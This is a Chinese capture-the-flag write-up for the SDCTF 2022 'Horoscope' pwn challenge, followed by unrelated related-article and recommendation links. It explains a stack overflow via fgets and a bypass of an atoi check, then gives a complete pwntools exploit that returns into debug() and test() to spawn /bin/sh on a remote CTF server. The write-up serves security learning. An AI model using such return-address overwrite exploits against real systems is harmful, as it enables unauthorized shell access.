checksec检查一下,发现只开了nx,然后ida打开直接看主函数

发现fgets函数往s里面读入320个字节的数据,此处可造成溢出,再看看test和debug函数

void debug()
{
  temp = 1;
}

int test()
{
  int result; // eax

  result = temp;
  if ( temp == 1 )
    return system("/bin/sh");
  return result;
}

test函数可getshell,temp的值可通过调用debug函数赋值

再查看主函数下面那个processInput函数

这里主要的是这个atoi函数,他是将字符串转成有符号的整数,例子如下:

#include <stdio.h>
#include <stdlib.h>

int main() {
    char str1[] = "123";
    char str2[] = "-456";
    char str3[] = "789abc";

int num1 = atoi(str1);
    int num2 = atoi(str2);
    int num3 = atoi(str3);

printf("num1 = %d\n", num1);
    printf("num2 = %d\n", num2);
    printf("num3 = %d\n", num3);

return 0;
}     输出结果如下:

num1 = 123
num2 = -456
num3 = 789

所以这里我们只需要将溢出的数据,第一个字符设置成1-9就可以绕过,成功放回,而不会执行default里面的语句

exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote("node5.anna.nssctf.cn",28837)
elf=ELF("./pwn")
test=elf.sym["test"]
debug=elf.sym["debug"]
payload=b'1'+b'a'*(0x30-0x1)+b'a'*(0x8)+p64(debug)+p64(test)
io.recvuntil(b"we will have your very own horoscope\n")
io.sendline(payload)
io.interactive()

【pwn】[SDCTF 2022]Horoscope--栈溢出,atoi函数绕过的更多相关文章

  1. atoi()函数

    原型:int  atoi (const  char  *nptr) 用法:#include  <stdlib.h> 功能:将字符串转换成整型数:atoi()会扫描参数nptr字符串,跳过前 ...

  2. C语言itoa()函数和atoi()函数详解(整数转字符C实现)

    1.int/float to string/array: C语言提供了几个标准库函数,可以将任意类型(整型.长整型.浮点型等)的数字转换为字符串,下面列举了各函数的方法及其说明. ● itoa():将 ...

  3. 题目1003:A+B ---c_str(),atoi()函数的使用;remove , erase函数的使用

    #include<stdio.h> #include<stdlib.h> int sw(char *a){ ,c=; while(a[i]){ ') c=c*+a[i]-'; ...

  4. atoi()函数的实现

    atoi()函数的功能:将字符串转换成整型数:atoi()会扫描参数nptr字符串,跳过前面的空格字符,直到遇上数字或正负号才开始做转换,而再遇到非数字或字符串时('\0')才结束转化,并将结果返回( ...

  5. C语言itoa()函数和atoi()函数详解(整数转字符)

    http://c.biancheng.net/cpp/html/792.html C语言提供了几个标准库函数,可以将任意类型(整型.长整型.浮点型等)的数字转换为字符串. 以下是用itoa()函数将整 ...

  6. C语言itoa函数和atoi 函数

    C语言提供了几个标准库函数,可以将任意类型(整型.长整型.浮点型等)的数字转换为字符串.以下是用itoa()函数将整数转 换为字符串的一个例子: # include <stdio.h>  ...

  7. 【C语言】模拟实现atoi函数

    atoi(表示 ascii to integer)是把字符串转换成整型数的一个函数. atoi()函数会扫描参数 nptr字符串,跳过前面的空白字符(例如空格,tab缩进等,可以通过isspace( ...

  8. String to Integer (atoi) - 字符串转为整形,atoi 函数(Java )

    String to Integer (atoi) Implement atoi to convert a string to an integer. [函数说明]atoi() 函数会扫描 str 字符 ...

  9. atoi()函数(转载)

    atoi()函数 原型:int  atoi (const  char  *nptr) 用法:#include  <stdlib.h> 功能:将字符串转换成整型数:atoi()会扫描参数np ...

  10. 源码实现 --> atoi函数实现

    atoi函数实现 atoi()函数的功能是将一个字符串转换为一个整型数值. 例如“12345”,转换之后的数值为12345,“-0123”转换之后为-123. #include <stdio.h ...

随机推荐

  1. Semantic Kernel Java SDK,为Java应用程序提供AI功能集成

    美国时间 2023 年 7 月 19 日,Semantic Kernel 团队在其官方博客[1]上宣布发布 Java 版Semantic Kernel. Samantic Kernel系列的源代码可在 ...

  2. fastposter v2.16.0 让海报开发更简单

    fastposter v2.16.0 让海报开发更简单 fastposter海报生成器是一款快速开发海报的工具.只需上传一张背景图,在对应的位置放上组件(文字.图片.二维.头像) 点击代码直接生成各种 ...

  3. chrome浏览器中使用adblockplus拦截广告

    adblock plus是一款可以屏蔽广告以及任何你想屏蔽元素的软件,屏蔽之后的效果如下图所示,abp自动屏蔽广告,还可以自行添加屏蔽内容,右上角红色的ABP标识就是该软件     下载地址: htt ...

  4. 使用lame以多进程方式转码wav为mp3

    前言 lame以单进程的方式转码wav文件,之前量少,足够使用.如今每日wav文件数量极多,单进程的效率就不够用了,所以这里使用脚本的方式,启动多个lame进程转码wav文件. code01: aut ...

  5. vue3 组合式 api 单文件组件写法

    1 Vue3 组合式 API 的基本原理和理念 1.1 Vue3 中的 Composition API Vue3 中的 Composition API 是一种新的编写组件逻辑的方式,它提供了更好的代码 ...

  6. Redis系列20:LFU内存淘汰算法分析

    Redis系列1:深刻理解高性能Redis的本质 Redis系列2:数据持久化提高可用性 Redis系列3:高可用之主从架构 Redis系列4:高可用之Sentinel(哨兵模式) Redis系列5: ...

  7. 《Linux基础》08. 日志管理 · 备份与恢复

    @ 目录 1:日志管理 1.1:系统常用日志 1.2:日志管理 1.2.1:日志服务 1.2.2:配置文件 1.2.3:自定义日志管理 1.3:日志轮替 1.3.1:轮替服务 1.3.2:配置文件 1 ...

  8. 《CTFshow-Web入门》05. Web 41~50

    @ 目录 web41 题解 原理 web42 题解 原理 web43 题解 原理 web44 题解 原理 web45 题解 原理 web46 题解 原理 web47 题解 web48 题解 web49 ...

  9. 纯前端导出word手写复杂表格,并还原成word。百分百还原表格。一文搞定前端表格导出为word

    本次的需求是手写一个养老院老人生活能力评定表,并且要能够录入信息,最终导出 表格因为有七页所以代码很多,可以不用看表格模板的详细代码. 先贴上最终效果图 填写完导出之后 基本上实现了样式的百分百还原导 ...

  10. 洛谷题解 | AT_abc321_c Primes on Interval

    目录 题目翻译 题目描述 输入格式 输出格式 样例 #1 样例输入 #1 样例输出 #1 样例 #2 样例输入 #2 样例输出 #2 样例 #3 样例输入 #3 样例输出 #3 题目简化 题目思路 A ...